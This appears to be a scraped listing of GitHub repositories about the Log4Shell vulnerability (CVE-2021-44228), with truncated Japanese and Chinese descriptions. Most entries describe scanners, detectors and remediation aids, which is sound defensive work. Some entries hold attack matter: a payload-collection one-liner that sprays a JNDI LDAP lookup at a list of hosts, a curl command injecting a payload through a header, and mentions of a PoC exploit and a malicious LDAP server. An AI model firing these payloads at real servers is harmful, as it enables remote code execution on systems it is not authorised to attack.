log4shell-minecraft-demo

Log4Shell CVE-2021-44228 Minecraft デモ このデモは、教育フェアで、将来の学生候補にHTL Villachのサイバーセキュリティ学科と、日常的なアプリケーションがどのように悪用され得るかを紹介するために使用されます。 注記: このデモ全体はMinecraft 1.8.8を使用しています。 攻撃者 このシナリオの攻撃者は、kozmerによるPoCを使用しています。 https://github.com/kozmer/log4j-shell-poc すべてのクレジットは彼らに帰属します。 注記: すべてのコマンドは attacker/...

log4j-finder

log4j-finder Log4Shell（CVE-2021-44228、CVE-2021-45046、CVE-2021-45105）に対して脆弱なLog4j2を検出するためにファイルシステムをスキャンするPython3スクリプトです。ディスク上と（ネストされた）Java Archiveファイル（JAR）内の両方を再帰的にスキャンします。 仕組み log4j-finderは、log4j2-core- パッケージ（log4shell の影響を受ける主要パッケージ）に含まれる特定ファイル（現在は JndiManager.class のみ）の 既知の悪性 と 既知の良性...

Log4j_Attacker_IPList

Log4jAttackerIPList CVE-2021-44228 Log4j Attacker Ip List.xlsx...

how-to-check-patch-secure-log4j-CVE-2021-44228

log4j-CVE-2021-44228 の確認方法 log4j とは？ LOG4J は、ロギングサービスに使用されるオープンソースの Java ベースの Apache ソフトウェアです。 log4j の脆弱性 CVE-2021-44228 とは？ Log4j の脆弱性により、テキストボックスに特定の文字列を入力するだけでリモートコード実行が可能になり、Log4j ライブラリを使用するすべてのプログラムに影響します。 攻撃対象 / 関連ソフトウェア...

log4j-CVE-2021-44228

log4j-CVE-2021-44228 2021年12月5日，Apache在其广泛使用的Log4j日志服务中发现了一个漏洞（后确定为CVE-2021-44228），又名Log4shell。该漏洞使攻击者能够完全控制受影响的服务器，通过允许未经验证的远程代码执行，前提是用户运行的是使用Java日志库的应用程序。Log4j被大量集成到广泛的DevOps框架、企业IT系统以及供应商软件和云产品中。 在恶意远程主机上执行以下操作，以检查您的服务器是否易受Log4j漏洞利用： curl vulnserver:port -H 'X-Api-Version:...

log4shell

log4shell Pythonスクリプトは、CVE-2021-44228およびCVE-2021-45046の脆弱性があるlog4j JARファイルをサーバーファイルシステムからスキャンします。スクリプトはファイルシステム（zip、ear、warを含む）を再帰的に走査し、org/apache/logging/log4j/core/lookup/JndiLookup.classを含むlog4jバージョン2.から2.15を検出します。...

Log4j-CVE-2021-44228-Remediation

Log4j CVE-2021-44228 Remediation...

log4j-ioc-detector

log4j Linux IoC 检测器 一个基础的 Bash 脚本，用于检测 Linux 中的 log4j 入侵指标（IoC）。 使用方法 1. 克隆此仓库： root@kitploit: git clone https://github.com/santosomar/log4j-ioc-detector 2. 如下所示，运行 log4jiocdetector.sh 脚本： root@kitploit: bash sudo log4jiocdetector.sh A basic Bash script to detect log4j Indicator of Compromise IoC...

log4j-docker-vaccine

Log4j Docker 疫苗 一种容器化运行由 Cybereason 提供的 log4j 疫苗的方式 https://github.com/Cybereason/Logout4Shell 开始使用 克隆此仓库： root@kitploit: git clone https://github.com/jeffbryner/log4j-docker-vaccine.git 编辑 containers.env 文件，填入目标可以访问的准确的私有或公共 IP/DNS。默认条目很可能不适合你！ 构建并运行容器： root@kitploit: docker-compose -f...

Log4j-JNDIServer

Log4j-JNDIServer このプロジェクトは、Log4jの脆弱性CVE-2021-44228およびCVE-2021-45046をテストするのに役立ちます。 インストールとビルド IntelliJ IDEAでプロジェクトを読み込む 「プロジェクト設定」でJDKを選択 Ctrl + Alt + Shift + S 「プロジェクト設定」でアーティファクトを作成 - 「アーティファクト」 - 「モジュールからJARを作成」 - 「ライブラリからのJARファイル」で「ターゲットJARに抽出」を選択 - 「OK」 プロジェクトをビルド Ctrl +...

Log4Shell_CVE-2021-44228_related_attacks_IOCs

Log4Shell（CVE-2021-44228）related attacks IOCs ソースIPはApache Log4j RCEを利用して攻撃を試みています。その多くはTorノードです。詳細はAttack-IP.md log4j脆弱性を悪用して拡散するマルウェア、ボットネットなどのIOCはIOC-C2.mdをご参照ください。 Snort検出ルールはSnort.md SuricataルールはSuricata.md...

Log4J_checker

Log4Jchecker Apache CVE-2021-44228 用の Log4J チェッカー log4j-checker.sh は、複数のチェックを統合する bash スクリプトです。...

log4j2021_vul_test

log4j2021vultest CVE-2021-44228 をテスト: https://vulners.com/cve/CVE-2021-44228...

log4shell-CVE-2021-44228

Log4Shell 直接影响测试夹具 故意存在漏洞、不可部署的 Java/Maven 输入，用于 ShieldOps。请勿构建、执行或部署它。 该项目固定使用 org.apache.logging.log4j:log4j-core:2.14.1。LoginAuditService.recordLoginAttempt 将未经身份验证的 HTTP User-Agent 值传入 Log4j 消息参数。这就是 CVE-2021-44228 所描述的由攻击者控制消息的条件。 预期发现： 包适用性：受影响； 代码影响：LoginAuditService.java 应被归类为受影响，而不仅仅是导入；...

Log4Shell

CVE-2021-44228: Log4j / Log4Shell セキュリティ研究サマリー このリポジトリには、CVE-2021-44228およびCVE-2021-45046（別名Log4Shell）に関するインシデント対応で使用したすべての収集リソースが含まれています。 脅威インテリジェンス 緩和策/修正 マルウェアレポート アドバイザリ IOC/コールバックドメイン/IPアドレス ハニーポット ペイロード/難読化/WAF回避 脆弱性スキャン エクスプロイテーション トレーニング ロゴを提供してくれたMalware Unicornに感謝します！ 出典:...

Log4Shell-Payloads

🚨 Log4Shell ペイロードコレクション 厳選された Log4Shell / Log4J エクスプロイトペイロード のリスト。対象： CVE-2021-45046 CVE-2022-42889 🔗 作成者: @nav1n0x 🔥 ワンライナーペイロード ✅ ワンライナー1bash cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo '/$jndi:ldap://.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a' L4SFuzzList httpx -l...

log4shell-homework9

課題9 – Log4Shellエクスプロイトに対するシステムの保護 概要 このプロジェクトは、脆弱なLog4j 2.14.1を使用するDocker化されたJava Webアプリケーションを用いて、Log4Shellの脆弱性（CVE-2021-44228）の悪用と緩和を実証します。この構成には、JNDIインジェクション攻撃経路を実証するための、模擬的な悪意のあるLDAPサーバーも含まれます。 悪用後、Log4jのアップグレード、入力検証、MITRE D3FENDおよびATT&CKの推奨事項の適用により、システムは強化されます。 フォルダ構成 root@kitploit:...

log4shell-vulnerable-app

Log4Shellサンプル脆弱性アプリケーション（CVE-2021-44228） このリポジトリには、Log4Shell と呼ばれるCVE-2021-44228に対して脆弱なSpring Boot Webアプリケーションが含まれています。 Log4j 2.14.1（spring-boot-starter-log4j2 2.6.1経由）とJDK 1.8.0181を使用しています。 アプリケーションの実行 実行してください： root@kitploit: docker run --name vulnerable-app --rm -p 8080:8080...

log4j-cve-2021-44228

Log4j-CVE-2021-44228 スキャナープレイブック Log4Shell（CVE-2021-44228）に対して脆弱なJARファイルをファイルシステム上でスキャンする非常にシンプルなAnsibleプレイブックです。 結果はローカルシステムのCSVファイルに保存されます。 実行方法 CSVファイル名の値は localfile 変数を介して渡す必要があります。 root@kitploit: ansible-playbook --extra-vars "localfile=./jdnidev.csv" log4j-cve-2021-44228.yml...

log4j-checker

Log4j-Checker このリポジトリには、CVE-2021-44228（別名Log4Shell）の脆弱性がある可能性のある.jarファイルを特定するのに役立つスクリプトが含まれています。 Log4Shell ハッシュチェック このスクリプトは、特定のパスからファイルシステム内の.jarファイルを検索し、見つかった各.jarファイル（ファイル名に関わらず）のSHA-256ハッシュを計算し、ユーザーが提供したSHA-256ハッシュのリストと比較します。...